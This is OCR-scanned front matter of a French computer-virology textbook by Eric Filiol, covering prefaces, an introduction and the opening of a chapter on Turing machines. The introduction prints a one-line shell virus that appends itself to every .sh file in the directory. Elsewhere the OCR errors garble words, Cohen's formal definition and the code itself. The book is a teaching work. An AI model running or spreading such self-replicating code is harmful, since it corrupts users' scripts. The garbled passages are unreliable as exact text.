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Avant-propos a la seconde edition



A peu pres trois ans se sont ecoules depuis la parution de la seconde impression de ce livre. Je tiens a remercier de nouveau tous les lecteurs qui, par leurs commentaires, leurs suggestions et leurs retours ont contribue a faire de cette seconde edition une evolution consequente de la premiere. J'ai surtout eu la confirmation qu'une approche sans hypocrisie de la virologie informatique, faisant fond sur l'esprit de responsabilite du lecteur, son sericux et son insatiable curiosite intellectuelle est la seule solution viable pour eduquer de manierc efficace dans un domaine aussi sensible et aussi (faussement) controverse. J'ai egalement pu constater avec plaisir que cette approche, fondee egalement sur la theorie et l'algorithmique, conferait un statut intemporel a cet ouvrage, qui est loin de se limiter exclusivement a des aspects factuels a la mode, pour ne pas dire anecdotiques, sous pretexte que le lecteur n'a pas besoin d'en connaitrc plus. Cela m'a encourage a presenter de nouvelles technologies virales pour elargir encore plus la vision qu'il est souhaitable, a mon sens, d'avoir dans ce domaine; pour egalement, dans une moindre mesure, tenir compte d'evolutions techniques rcccntcs, decrites implicitement dans la premiere edition car pouvant etre algorithmiquement rattachees a une classe plus generale. Ces evolutions rendent a present necessaire le traitement etendu de ces techniques. Deux chapitres ont ainsi ete ajoutes et presentent l'algorithmique detaillee des virus de documents et des technologies de type botnet. Un troisiemc chapitre a egalement ete ajoute pour presenter les evolutions et resultats theoriques depuis les travaux de Fred Cohen. C'est dans ce domaine que les avancees ont ete les plus significatives. Avant de vous souhaiter une bonne lecture de cet ouvrage, il me reste a remercier tous ceux aui. d'une maniere ou d'une autre. ont rendu cette se-



VIII conde edition possible: mes stagiaires Alexandre Blonce, David de Drcziguc, Edouard Franc, Laurent Frayssignes, Alessandro Gubiolli, Nils Hansma, Benoit Moquet, Guillaume Roblot; mes thesards Gregoire Jacob et Sebastien Josse; mes collegues du cours SSIC de l'ESAT pour leurs encouragements et l'environnement unique qu'ils ont su creer, il sera impossible de les oublier; Daniel K. Bilar, Franck Bonnard, Vlasti Broucek de I'universite de Tasmanie, Michel Dubois, Robert Erra de l'ESIEA, Rainer Fahs, Jean-Paul Fizaine, Jean-Yves Marion du Loria, Matt Webster de I'universite de Liverpool, Stefano Zanero de I'Universite de Milan et tous ceux que j'aurais pu oublier. Enfin, je tiens encore une fois a remercier Nathalie Huilleret, Brigitte .liilg et Nicolas Puech des Editions Springer-Verlag France sans lesquels ce livre n'aurait jamais vu le jour, ainsi que Charles Ruelle, Bernhard Schuller et Claudia Schiffers qui ont rejoint I'cquipe tres efficace du Journal in Computer Virology.



Laval, janvier 2009 Eric Filiol filiol@esiea. fro ffiliol@amail. com



Avant-propos a la premiere edition



A peu pres un an s'est ecoule depuis la parution de la premiere impression de ce livre". De nouvelles attaques virales, nombreuses ont eu lieu depuis. Certaines, comme le ver CABIR ou le virus DUTS ont touche des plateformes plus exotiques que nos ordinateurs traditionnels. Mais c'est avec satisfaction que j 'ai pu constater que cet ouvrage restait malgre tout actuel, et le restera encore longtemps. Dans certains cas, les previsions, le plus souvent fondees sur la realite theorique et annoncecs dans l'ouvrage precedent, se sont trouvees confirmees et ont connu la concretisation. D'autres restent encore, malheureusement, a venir. Cette reimpression actualise certaines donnees, ou presente succintement de nouveaux resultats, notamment theoriques, Les inevitables coquilles ont ete corrigees. J e tiens a remercier tous les lecteurs qui les ont signalees et ainsi ont contribue a faire de ce nouveau tirage une version debarrassee des quelques imperfections qui subsistaient et que plusieurs relectures u'etaient pas parvenues a detecter. Certaines de ces personnes m'ont egalement fait parvenir des informations diverses et varices - notamment de precieuses statistiques, generalement difficiles a obtenir - qui ont permis d'actualiser certaines donnees, a mon sens incornpletes, de la premiere version: Guillaume Areas, Cedric Foll (ingenieur de recherche au rectorat de Rouen), Cedric Lauradoux, Joel Maumin, Francois Morain (professeur a I'ecole polytechnique) , Christophe Plasschaert, Eric Wegzynowski, du laboratoire d'informatique theorique de I'universite de Lille. Je les remercie tous pour leur aide, leur enthousiasme et leur soutien. Je ne saurais egalement oublier l'aide particulierement precieuse de Jean-Christophe Monnard et de plusieurs autres personnes qui ont 1



Premiere edition en 2004 et reimnression en 2005.



x activement contribue au succes de ce livre: le colonel Albert des Troupes de Marine, Michel Alberganti, Erick Bullier, Fabien Combernous, Vincent Coronini, Stephane Foucart, Gilles Guette, David Larousserie, Frantz Loutrel et tous ceux que j'aurais pu oublier. Merci aux lecteurs qui ont fait le succes de cet ouvrage. Ils ont contribue plus qu'ils ne l'imaginent a (re)donner ses lettres de noblesse a une discipline passionnante. Enfin, je tiens encore une fois a remercier Nathalie Huilleret et Nicolas Puech des Editions Springer Verlag France sans lesquels ce livre n'aurait jamais vu le jour.



Guer, septembre 2005 Eric Filiol Eric.Filiol@inria. fr



Preface



« Virus don't harm, ignorance do » herm l t



« ... I am convinced that computer viruses are not evil and that programmers have a right to create them, possess them and experiment with them ... truth seekers and wise men have been persecuted by powerful idiots in every age . .. » Mark A. Ludwig



Tout individu a droit it la liberte d'opinion et d'expression, ce qui implique le droit de ne pas etre inquieie pour ses opinions et celui de chercher, de recevoir et de reposulre, sans considerations de [rotitieres, les informations et les idees par quelque moyen d'expression que ce soit. Article 19 - Declaration universelle des droits de l'Homme



Cet ouvrage traite des « virus informatiques », d'un point de vue theorique mais egalement d'un point de vue pratique et technique - le code source de plusieurs virus y est detaille, decortique et commcnte. Les « applications » utilisant de tels nroararnmes malicieux sont eQ"alement nresentees. cet aspect
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ri'etant quasiment jamais considere dans les rares ouvrages consacres aux virus/. Pourquoi un tel livre qui pourrait sembler a certains provocant? La provocation n'est assuremcnt pas le but. Depuis une petite decennie, force est de constater combien la lutte antivirale connait de plus en plus de difficultes a s'organiser et a rcagir, notamment face aux attaques virales de ces trois ou quatre dernieres annees. Les vers rccents, Sapphire, Blaster et SobigF illustrent parfaitement cette situation. Ces attaques, aux effets souvent planet.aires, paraissent, pour les utilisateurs qui y sont confrontes mais egalement aux yeux du grand public, prendre de cours, chaque fois, le monde des editeurs d'antivirus. Le besoin de faire sortir la lutte antivirale du cadre quasi-confidentiel dans laquelle elle est confinee, se fait sentir de plus en plus. La complexite des problemes lies a la lutte contre les virus, et en memc temps la rarete des ouvrages techniques consacres a la virologie informatique - science qui evolue en permanence - militent en faveur d'un tel ouvrage. En fait, ce livre s'adresse essentiellement aux professionnels de l'informatique ou, au minimum, aux passionnes de cette science ou technique, qui souhaitent acquerir une vision claire et independante de ce que sont les virus, et des risques, mais aussi des possibilites, qu'ils representent. II ne s'adresse en aucun cas aux « acteurs contestables » de l'informatique que la presse generaliste, ecrite ou audio-visuelle, tend a idealiser et a parer d'un savoir mystericux, autant que genial. Ces pirates ou autres malfaisants informatiques n'ont de seule motivation que de nuire et leurs exactions, si elles sont immaterielles dans les moyens, sont malheureusement bien reelles, en termes de prejudices. II etait donc necessaire d'apporter quelques clefs de la connaissance dans le domaine de la virologie informatique, de montrer combien il est faux et dangereux de considerer ces pirates comme des « genies » de 1'informatique. A de rares exceptions pres, la grande majorite d'entre eux se contente d'utiliser les creations des autres et ne posscdc, finalement, que de pietres connaissances dans le domaine. Leur betise ne fait que contribuer a jeter l'opprobre sur un domaine de connaissance passionnant. Le respect d'autrui passe par le savoir. Science sans conscience n'est qu'ignorance et ruine de



I'ame", Le probleme actuel vient du fait que les utilisateurs (dans son acception la plus large, ce qui inclut les administrateurs) sont condamnes d'une part a 2
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Le mot virus sera employe systematiquement pour designer ala fois la forme au singulier et au pluriel de ce mot. Le pluriel « virii », quoique etymologiquement la seule correcte, est de nos jours desuete. Francois Rabelais - Pantaaruel1532.
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faire confiance aux editeurs d'antivirus et a leurs produits, et d'autre part, a subir, presque sans espoir, les virus programmes par d'autres. L'informatique devait normalement liberer l'Homme. La realite est toute autre. II n'est pas concevable que le savoir informatique (les virus en I'cspcce qui nous occupe) soit la chasse gardee de quelques professionnels, dans un but commercial, au detriment de ceux qui ne le possedcnt pas. Le but de ce livre est donc d'initier les utilisateurs aux virus afin qu'ils comprennent les techniques de base mises en ceuvre par ces programmes particuliers. En fait, la virologie informatique n'est qu'une branche de l'intelligence artificielle, elle-meme partie a la fois des mathematiques et de la science informatique. Les virus ne sont que de simples programmes, aux proprietes certes particulieres, Trop longtemps marques du sceau de l'infamie, ils sont pourtant une realite qui s'impose a nous avec force mais plus encore, leur interet, pour d'eventuelles applications, a ete systematiquement et volontairement passe sous silence. Que cela fasse plaisir ou non, que cela contrarie ou non certains interets, les virus sont appeles a jouer un role important dans un avenir proche. Le but est donc d'initier suffisamment les utilisateurs pour qu'ils acquierent une certaine autonomie, notamment dans le domaine de la lutte antivirale, et de pouvoir agir memc quand les antivirus echouent. L'enseignement de la virologie informatique commence a timidement s'organiser. L'universite de Calgary, au Canada, offre depuis l'automne 2003 un cours sur le sujet, non sans provoquer une vive reaction, de certains acteurs de la communaute antivirale (lire en particulier [203,204,212-214]). Pour toutes ces raisons, il est donc necessaire et indispensable de travailler sur la matiere brute : les codes source des virus. La certitude ne vient que par l'analyse du code. La est la difference entre parler des virus et etudier les virus. Cette etude ne fera pas pour autant du lecteur un acteur malfaisant, bien au contraire. Chaque annee, des milliers d'etudiants apprennent la chimie. Ils ne se mettent pas a fabriquer des armes chimiques a l'issue de leurs etudes. Doit-on proscrire l'enseignement de la chimie sous pretexte de risques relativement marginaux memc s'ils sont particulierement preoccupants ? Ce serait se priver de tout de ce que la chimie a apporte de benefique, II en est de memc pour la virologie informatique. Une autre raison milite en faveur d'une presentation technique sur les virus. Les editeurs d'antivirus, pour une grande partie d'entre eux, ont une part de responsabilite non negligeable dans la proliferation du risque viral. En effet, privilegiant la logique commerciale a travers un marketing souvent fallacieux. contestant aux autres le droit a la connaissance techniaue dans
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ce domaine, les utilisateurs en finissent par penser et par accepter qu'un antivirus est un outil de protection parfait, et que toute protection se reduit a disposer d'un tel produit. II n'en est rien. Les utilisateurs doivent participer activement a la lutte antivirale, a leur niveau. Cela n'est possible que s'ils disposent des connaissances adequatcs. Enfin, et cela milite en faveur de la necessite d'une presentation technique de codes source viraux, il est necessaire d'expliquer en prouvant, a l'aide de ce materiau brut, ce qui est possible ou non en matiere de virus. Trop de decideurs fondent leur action ou leur prise de decision sur des concepts vagues et mal definis, relevant quelquefois du fantasme pur et simple. L'absence d'elements techniques, pour separcr « le bon grain de l'ivraie », leur permet egalement de se conforter dans des certitudes lenifiantes mais dangereuses. Seule la confrontation avec la realite effective d'un code source, element de preuve irrefutable, permet d'envisager sainement les choses dans ce domaine. Dans le present ouvrage, les connaissances requises pour la bonne comprehension des notions exposees, ont ete reduites au strict minimum. Une bonne connaissance des mathematiques de base, de la programmation ainsi que les rudiments concernant les systemes d'exploitation Unix et Windows seront suffisants. L'optique de ce livre a ete de privilegier ce que l'on pourrait appeler 1'« algorithmique virale » et de montrer que les techniques virales peuvent etre decrites simplement et independamment de tel ou tel langage ou de tel ou tel systeme d'exploitation (encore une fois cela replace la virologie informatique dans le contexte plus general de l'informatique et de la relation existant entre algorithmique et langages de programmation). Dans ce but, l'usage du pseudo-code et du langage C a ete systematiquement prefere quand cela etait possible et pertinent. Ils sont generalement connus de la plupart des informaticiens. La presentation sera rendue plus aisee en considerant des exemples simples mais representatifs, dans un langage accessible au plus grand nombre. Certains lecteurs reprocheront, pcut-etrc, de ne pas voir abordes en details des pans entiers de la virologie informatique : les moteurs de mutation et le polymorphisme, les techniques avancees de furtivite ; et plus generalement de ne pas avoir consacre d'etudes aux virus et aux vers ecrits en assembleur ou a l'aide de langages plus « exotiques » (mais importants; citons Java, les langages de scripts type VBS ou Javascript, Perl, Postscript ... ). Encore une fois, l'objet de cet ouvrage est une introduction didactique, pour le plus grand nombre, basee sur des exemples simples mais particulierement representatifs, II est essentiel de comprendre l'algorithmique de base, commune a tous les virus et verso avant de se nolariser sur les snecificites de tel ou tel Ianvave.
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de telle ou telle technique ou de tel ou tel systeme d'exploitation. Tous les aspects techniques evolues ou plus complexes de la virologie informatique, feront l'objet d'un second ouvrage faisant suite a celui-ci. D'autres lecteurs pourront egalement reprocher a cet ouvrage de nevoquer que tres rapidement les techniques antivirales et de faire, en quelque sorte, la part belle aux seuls virus. En fait, cela n'est vrai qu'en apparence. La problematique de la securite (d'une manierc tres generale et non limitee au seul domaine informatique) est la situation necessairement reactive a laquelle est condamne l'utilisateur. Les possibilites de detection d'une attaque, de protection et de prevention n'existent que par la connaissance que l'on a des actions offensives qui peuvent etre mcnces. Dans le cas des virus, toute defense et toute lutte seront illusoires sans une connaissance claire et rigoureuse des mecanismcs viraux. Ce livre est articulo autour de trois parties, relativement independantes les unes des autres, que le lecteur pourra eventuellement consulter dans l'ordre qui lui plaira. Toutefois, la lecture prealable du chapitre 5 traitant de la taxonomie, des outils et des techniques de bases en virologie informatique est conseillee pour assimiler le vocabulaire de base et mieux comprendre le reste de l'ouvrage. La premiere partie traite des aspects theoriques des virus. Les travaux de von Neuman sur les automates autoreplicatifs, de Kleene sur les fonctions recursives et de Turing sont prcsentcs dans le chapitre 2. Ce sont les bases mathematiques indispensables pour la suite. Les formalisations de Fred Cohen et de Leonard Adleman sont ensuite exposees dans le chapitre 3. Elles sont fondamentales pour avoir une vision globale a la fois des virus et de la lutte antivirale. Sans cette hauteur, le lecteur passerait a cote de certains aspects et enjeux de la virologie informatique. Le chapitre 5, ensuite, traite de la classification exhaustive des infections informatiques ainsi que des principales techniques et des outils. II contient notamment les definitions essentielles qu'il convient de connaitrc pour la suite. Bien que sa lecture prealable soit fortement conseillee, ce chapitre a ete place a cet endroit pour respecter la progression logique de l'ouvrage et l'historique du domaine. Le chapitre 6, enfin, clot cette partie avec la presentation des techniques antivirales actuelles et du droit en matiere de virologie informatique. Cette premiere partie pourra servir de support a une presentation theorique sur le sujet, de six heures environ. Que le lecteur non mathematician se rassure. Chaque fois que cela a ete possible, les concepts ont ete simnlifies au maximum sans Dour autant sacrifier la riaueur necessaire,
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La seconde parti e est net tement plu s technique et consiste essent iellement en l'etude du code source de qu elqu es virus representatifs des principales familles. La encore, l'objectif a ete de rendre ce livre accessible a des nonspecialiste s et de limiter les prerequis necessaires a un e bonne connnaissan ce de la programmation. Seuls des virus assez simples mais tres act uels et qui represent ent encore un e menace tout a fait reelle, sont consideres. Au ssi pour cette premiere version, des techniques aussi passionnantes qu 'ardues comme le pol ymorphism e ou la furtivite (et les techniques assimilees) , ne seront pas tr aitees, autrement que d 'un point du vue general. Ces techniques reclament des connaissances solides en assembl eur. Le but principal de cet ouvrage est d 'amener le lecteur a acquerir les connaissances qui lui permettron t de poursuivre seul l'etude de la plupart des autres virus. La troisieme partie est peut etre la plus importante des trois. Elle traite des applicat ions des virus informatiques. Ces programmes particuliers sont potentiellement des outils puissants, aux nombreuses utilisations potentielles . Les rar es ouvrages reellement techniques traitant des virus n 'abordent pr atiquement jamais cet aspect des virus. Considerant l'idee meme de virus « utiles » comme un debut de remis e en cause de leurs int erets, les professionnels de la lutte antivirale l'ont frappe cl'anatheme. II est autant ab surde qu 'illusoire et releve probablement d 'une cert aine form e d 'obscurantism e, peut-etre interesse. L'utilisation des virus a des fins applicat ives n 'est pas recent e meme si elle n 'a pas ete medi atisee. Maitrises comme il se doit (et les antivirus ont la un nouveau role, essent iel, a jouer , en les faisant evoluer de maniere ad equate) , les virus peuvent rendre de grands services. Cette partie t ent era, a travers quelques exemples, de sensibiliser le lect eur . Au final , l'art iculat ion logique de cet ouvrage peut et re resumee par le schem a suivant :
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Ce livre reprend, en partie, le module de virologie informatique (entre 15 et 35 heures, travaux pratiques compris) dispense a l'Ecole Superieure d'Electricite (ESE) depuis 2002, a l'Ecole Nationale Superieure des Techniques Avancees (ENSTA) depuis 2001, a l'Ecole Speciale Militaire (ESM) de Saint-Cyr depuis 1999 et a I'universite de Limoges depuis 2001. II pourra aisemcnt servir de support a tout enseignant desireux de monter un tel module. Chaque chapitre propose quelques exercices afin de permettre au lecteur desireux de poursuivre plus avant la reflexion concernant les connaissances et techniques presentees. Dans certains cas, des ebauches de projet, d'une duree de deux a huit semaines, sont egalement proposees. Mon souhait est que ce livre fasse naitrc des initiatives pedagogiques permettant de faire decouvrir les virus informatiques tout en les demystifiant. Bien que ce livre represente, du moins je I'csperc, un progres appreciable dans la comprehension des virus informatiques, et devrait repondre a une demande qui ne fait que croitrc, je suis egalement conscient qu'il peut subsister, encore, quelques imperfections dans sa forme. Je prie les lecteurs de bien vouloir m'en excuser et je les invite d'ores et deja a me faire part des eventuelles (mais inevitables, je le crains) coquilles trouvees, afin d'ameliorer progressivement cet ouvrage. Elles seront corrigees au fur et a mesure sur rna page web (www-rocq. inria. fr/ codes/Eric. Filial/index. html), page sur laquelle figureront egalement quelques corriges d'exercices et autres informations utiles. Ce livre est avant tout dedie a Fred Cohen. Sans lui, il est a craindre que la virologie informatique (les virus ET la lutte antivirale) serait encore une science balbutiante et immature. Son travail de formalisation et ses resultats n'ont malheureusement pas recu l'attention qu'ils mcritaient. Son apport est considerable et le but de ce livre est de contribuer, le mieux possible, a lui rendre hommage et a faire connaitre une ceuvre, a mon sens, majeure et incontournable. Ce livre est egalement dedie a Mark Allen Ludwig, celui qui nous a ouvert la voie, a tous, en publiant quelques livres techniques sur les virus, avec de nombreux codes source detailles, Son approche didactique, intelligente, eclairee (le mot n'est pas trop fort) autant que constructive et objective est remarquable. La rigueur scientifique avec laquelle il s'est attache a decrire des techniques avant tout passionnantes et stimulantes pour l'esprit, - son oeuvre dans de domaine, tient a ce jour en quatre livres dont la lecture reste incontournable - en a fait un pionnier. Mark Ludwig ne renierait pas lui-meme ce terme qui lui est cher. II est devenu en quelque sorte un guide pour tous les nassionnes de virus et d'intelliaence artificielle. Beaucoun de nersonnes
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lui doivent cette passion quasi-naturaliste pour les virus informatiques. Je ne saurais non plus oublier Pascal Lointier, president du CLUSIF, qui en assurant la traduction d'un des livres majeurs de Mark Ludwig, a permis aux lecteurs francophones d'acceder a un livre passionnant. II a lui-meme grandement contribue en France a donner une vision saine et pedagogique de la virologie informatique. Nombreux sont ceux en France, qui lui doivent beaucoup. En troisiemc lieu, je souhaiterais dedier ce livre a certains programmeurs de virus, le plus souvent anonymes (sauf pour les inities) mais assurcment geniaux, animes par le sens du defi technique et non par une quelconque envie de nuire. Le code de certains de leurs virus m'a emerveille, a alimente cette passion pour les virus et au-dela pour le genie humain qui ne se satisfait d'aucune impossibilite technique. Leur apport est considerable, plus que l'on ne veut bien le dire en general. Ils m'ont, en particulier, convaincu que dans le domaine de la virologie informatique (mais cela est vrai dans tous les domaines du savoir), la principale qualite est I'humilite, Il rie faut pas se complaire du peu que l'on a pu apprendre mais toujours regarder la masse impressionnante et insolente de ce que l'on ignore. Trop de gens se pretendent experts mais ignorent que les techniques evolucnt. Enfin, je tiens a remercier, pour des raisons diverses, les personnes qui ont rendu ce livre possible: avant tout Madame Huilleret et Monsieur Puech des Editions Springer Verlag France, qui ont immediatement ete seduits par ce projet, les lieutenants Azatassou, De Gouvion Saint-Cyr, Helo, Plan, Smitsomboon, Tanakwang, les lieutenants de vaisseau Ratier et Turcat, qui ont participe au developpement de certaines versions des virus, lors de leur stage dingenieur, au sein du laboratoire de virologie et de cryptologie de l'Ecole Superieure et d' Application des Transmissions (ESAT), mais egalement le general Desvignes et les lieutenant-colonels Gardin et Rossa qui, a leur facon, m'ont soutenu dans cette entreprise et ont compris la necessite de developper, chez les futurs professionnels de la Defense, une veritable culture technique en matiere de virologie informatique; Christophe Bidan, Nicolas Brulez, JeanLuc Casey, Thiebaut Devergranne, le chef d'escadron Alain Foucal, Brigitte Jiilg, Pierre Loidreau, Marc Maiffret, Thierry Martineau, Arnaud Metzler, Bruno Petazzoni, Frederic Raynal, Marc Rybowicz, Eugene H. Spafford, Denis Tatania, Alain Valet, pour m'avoir permis de faire partager a d'autres cette passion, tous mes eleves et etudiants sans lequels les cursus crecs n'auraient pas vu le jour. Enfin, rna femme Laurence qui a realise le CDROM fourni avec cet ouvraae et m'a soutenu avec natience dans cette entrenrise.
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Introduction



Comment decrire un virus? Comment expliquer ce qu'est un virus? Entre la definition formelle du mat.hcmaticicn! qui suit:



VM VV (M, V) E V B [V c II*] et [M E M] et [Vv E V [VHM [VtVj EN [ 1. PM(t) == j et 2. $M (t) == $M (0) et 3. (DM(t,j), ... ,DM(t,j + Ivl - 1)) == v] [::lv' E V [::It', t",j' E N et t' > t [ 1. [[(j' + Iv'l) :S j] ou [(j + Ivl) :S j']] 2. (D M ( t' , j'), ... , D M ( t' , j' + Iv' I - 1)) == v' et 3. [::It'' tel que [t < t" < t'] et



*



[PM(t")



E



{j', ... ,j' + Iv'l- I}]



]]]]]]]]



et celle du programmeur, donnee en table 1.1, quelle relation existe-t-il? Laquelle est la plus adaptee ? La notion memc de virus recouvre dans l'esprit du grand public de nombreuses acceptions, au point qu'elle est le plus souvent confondue avec la notion, plus generale, d'infections informatiques. Le terme de virus est apparu en 1988. Pourtant, les organismes artificiels que ce terme designe existaient concretcmcnt deja depuis plusieurs annees et leurs bases theoriques etaient encore plus anciennes. 1



Cette definition. due



a Fred Cohen



f511. sera etudiee en detail dans le chanitre 3.
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for i in *.sh; do if test" .j$i" != "$0" ; then tail -n 5 $0 I cat >> $i; fi done



TAB.



1.1. Exemple de code viral



Une science, un domaine de connaissances ne parviennent a un stade de maturation que lorsqu'ils ont pu etre forrnalises. Cela permet ensuite de mieux en comprendre tous les aspects et toutes les implications. Dans le domaine de la virologie informatique, cette formalisation, si elle n'est pas encore totalement achevcc, a debute il y a maintenant soixante-dix ans, avec les travaux de Turing. Les resultats theoriques ulterieurs, ceux de von Neumann, de Cohen, d' Adleman et de quelques autres, ont permis de jeter une base que l'on peut qualifier de solide, concernant a la fois les virus et autres infections informatiques et leur inevitable et indispensable contrepartie, la defense et la lutte antivirale. La formalisation du mathematicien a largement contribue au developpement des virus cux-memcs. De nombreux programmeurs ont tres vite trouve un immense champ d'applications. Cette realite est peut-etre moins connue. Les premiers virus ne sont que la mise en application des resultats de von Neumann sur les automates autoreplicatifs. De meme, par exemple, le polymorphisme viral n'est pas apparu ex nihilo. II a ete directement inspire par les travaux theoriques de von Neumann et de Cohen. Et d'autres exemples pourraient etre donnes, Ils montreraient que les virus informatiques que nous connaissons ne sont, en fait, que la mise en pratique des perspectives offertes par le champ theorique, La formalisation theorique a egalement permis de comprendre l'autre face de la virologie informatique, a savoir la lutte antivirale. Le choix, des le depart, du scanning comme technique de detection principale, n'est pas le fait du pragmatisme ou du hasard, mais bien un choix raisonnc et etaye par des considerations theoriques prealables, qui, en memc temps, ont montre les limites de cette technique. II en est de memc pour des techniques antivirales plus efficaces comme le controle dintegrite. Ces memes resultats permettent de fortement relativiser ou d'infirmer les arguments marketing outranciers, Dour ne nas dire irrealistes et faux. de certains editeurs de loaiciels antivirus.



5 Ces derniers tentent souvent de nous vendre la pierre philosophale et la quadrature du cercle dans un meme emballage. L'importance de la formalisation theorique de la virologie informatique ne peut etre nice meme si elle n'est pas achevee, C'est pourquoi elle constitue la premiere partie de cet ouvrage. Afin de ne pas effrayer le lecteur nonmathematicien et dans un souci de clarte, certaines preuves mathematiques ont ete omises, renvoyant le lecteur interesse aux articles ou livres originaux. C'est la meilleure facon de rendre hommage et de payer tribut a ceux qui ont defriche avec succes Ie monde fascinant des virus informatiaues.
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Les bases de la formalisation de Turing a von Neumann (1936-1967)



• •



L 'art de la pedaqoqie est fait d 'humilii« et non de [aiuite : le but de tout enseignement n'esi pas que le professeur, par un discours inutilement complique et pedant, paraisse intelligent, mais que ses eleues en aient vaincu les moindres difficultes et en ressortent grandis. Emile Gabauriaud-Pages L'art d'enseigner aux autres (1919)



2.1 Introduction La formalisation des mecanismcs viraux utilise essentiellement la notion de machine de Turing. Cela n'est pas etonnant puisque les virus informatiques ne sont en fait que des programmes, certes particuliers, et que la formalisation de l'informatique a debute avec les travaux d'Alan Turing! en 1936 [218]. Une machine de Turing est - definition en premiere approche qui sera explicitee dans ce chapitre - la representation abstraite et generale d'un ordinateur et des programmes susceptibles d'etre executes sur cet ordinateur. Le lecteur qui souhaiterait approfondir les relations exactes entre les ordinateurs reels et leur modele theorique pourra lire [40, p. 68]. Ce modele theorique a permis de repondre a de nombreux problemes fondamentaux parmi lesquels : 1



En fait, les annees 1930 ont connu une intense production de resultats dans ce domaine. La formulation de Turing a ete redefinie, independamment et de manicre differente quoique equivalente, par plusieurs auteurs, notamment Church [49], Kleene [146], Markov f1701 et Post f1841.



Les bases de la formalisation
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- Soit une fonction f donnee. Cette fonction est-elle « effectivement » calculable? En d'autres termes, existe-t-il un algorithme permettant de realiser, de calculer f? Pour ce qui nous interesse, les virus informatiques, la fonction f est celIe de l' autoreproduction. Un programme peut-il se reproduire lui-merne ? Les travaux de Turing et ceux de ses exegetes ne se sont pas interesses a ce pro bleme particulier. Ce n'est que quelques annees plus tard, que John von Neumann et Arthur Burks [40,221]' partant des travaux et des resultats de Turing, se sont interesses a la notion d'autoreproduction, dans le cadre des automates celluZaires. Ils ont prouve, en particulier, que ce phenornene pouvait etre realise en pratique. Toutefois, l'exemple qu'ils ont exhibc etait d'une complexite telle que plusieurs chercheurs ont par la suite tente de trouver d'autres exemples plus simples, et surtout plus faciles a etudier et a realiser en pratique, pour comprendre cette propriete d'autoreproduction. La question principale etait de savoir jusqu'a quel degre de simplicite il etait possible de descendre pour un automate, tout en conservant la propriete d'autoreproduction. Par la suite, plusieurs auteurs, en particulier Codd [50] en 1968, Herman [134] en 1973, Langton [158] en 1984 et Byl [41] en 1989 sont parvenus a construire d'autres automates autoreproductifs, beaucoup plus simples. L'autoreproduction est devenue une realite pratique. Avec elle, les virus informatiques et.aient nos, mais il ne s'est agi que d'une premiere naissance. II faudra encore quelques annees avant de voir apparaitrc de tels programmes et le terme memc de virus.



2.2 Les machines de Turing Nous allons decrire ce que sont les machines de Turing et les differents problemes qui y sont attaches, essentiellement dans le cadre qui nous concerne (les programmes autoreproducteurs). Le lecteur souhaitant un expose detaille sur ce sujet consultera [135, 162,218]. II trouvera egalement dans [27, p. 271] une implementation claire et detaillee d'une machine de Turing en langage interprets Sed.



2.2.1 Machines de Turing et fonctions recursives Une machine de Turing M, dispositif plut6t primitif comnosee de trois narties :



a premiere vue,



est



2.2 Les machines de Turing - une unite de stockage ou bande de calcul (bandelette de papier ou bande magnetique}. De longueur infinie, elle est divisee en cellules, chacune contenant un symbole a la fois, pris dans un alphabet donne. L'absence de symboles, autrement dit la cellule est vide, sera consideree comme un symbole particulier afin de generaliser le propos. Le nombre de cellules non vides est fini. Initialement, la bande de calcul contient les donnees d'entree. En fin du calcul, elle contient les donnees de sortie, et en cours de calcul, les donnees transitoires ; - une tete de lecture/ ecriture qui se deplacc le long de la bande de cal cul , d'une cellule a la fois, vers la droite ou vers la gauche. L'ecriture d'un symbole dans la cellule est d'abord precedee par l'effacement de celui qui s'y trouvait. La cellule courante est celIe se trouvant devant la tete de lecture/ ecriture ; - une fonction de controle F pilotant la tete de lecture/ecriturc. Cette fonction est constituee d'une mcmoire contenant l'etat de la machine M et des instructions specifiques au probleme traite (le programme). Toute action de la tete de lecture/ecriturc est directement determinee par le contenu de cette memoirc et celui de la cellule courante. La fonction de controle se divise en deux Ionctions/ : une fonction d'etat dont le role est d'actualiser l'etat interne de F et une fonction de sortie chargee de produire des symboles. Les actions elementaires de la tete de lecture/ ecriture sont les sui vantes : - deplacement d'une cellule vers la droite. - deplacement d'une cellule vers la gauche. - pas de mouvement. Le traitement est acheve, la machine M s'arrete. - ecriturc d'un symbole dans la cellule courante. Le travail de la machine M peut se resumer en trois phases :



1. Phase de lecture.- Le contenu de la cellule courante est lu et alimente la fonction de controle, 2. Phase de calcul.- L'etat interne de la fonction Fest actualise en fonction de I'etat present et de la valeur lue dans la cellule courante. 3. Phase d'action.- L'action, dependants de l'etat interne et de la valeur lue dans la cellule courante, est effectuee. 2



En fait, la fonction de controls est un automate cellulaire mais cette notion ne sera introduite au'en 1954 et formalisee en 1955 et 1956.
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Les bases de la formalisation Bande de calcul
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FIG. 2.1. Schema d 'une machine de Turing



Mal gre son apparence primitive, ce modele tres simple permet de decri re to ut algorit hme et de simuler t out langage de programmation. Decrivons maintenant une telle machine de facon plu s formelle" . D efin it io n 1 Une machine de Turing est un e fon ction M definie, pou r tout entie r naturel n , par



M: {O ,l, ... , n } x {0,1}



-+



{0,1} x {D ,G} x {0,1 , ... ,n}



L 'ensem ble {a, 1, ... , n} decrit les indices des etats ei (ou in structions) de la machine, I'ensem ble {a, I} celui des sym boles 5 j possibles pour chaque cellule et {D , G} , I'ensemble des depla cem etits possibl es (it droii e ou it gau che) de la tet e de lecture/ecriture.



Cette definition ne considere qu 'un ensemble reduit de symb oles. La generalisation a un ensemble plus ete ndu est bien evidemment po ssibl e. En fait , l'utilisation des deux symboles 1 et 0 suffit amplement. Les donnees de la bande de calcul sont, en fait , representees par des chaines de 1, separees par des 0 qui servent de delimiteurs. Ainsi, le nombre x sera represent s par une sequence de x + 1 symboles 1. Par exemple, la suit e de nombres entiers 2 0 1 sera codee par 0111010110. Comment utilise-t-on en pratique cette form alisation ? Prenons un exemple : soit M(4,1) = (0, D , 3) . Cela signifi e qu e si, a l'in st an t t , la machine M est dans l'etat e4 et que la cellule couran te contient le symbole 1, alors ce symbole est efface, le symbole y est ecrit a la place, la te te est deplacee vers la droite et la machine passe de l'et at e4 a l'et at e3. Si la valeur M(4 , 1) n 'est pas definie, la machine s'arrete et le calcul est acheve .



°
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Plusieurs form alis ations existent pour les m achines de Turing. Nous avons considere l'une des plus simples afin de faciliter la com prehens ion du lecteur non specialiste. Le lecteur interesse Dar la form alisation oricinale se referera it 12181.



2.2 Les machines de Turing TAB.
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2.1. Machine de Turing pour le calcul de la somme de deux entiers (ei, Sj)



Mt e»; Sj) Commentaires



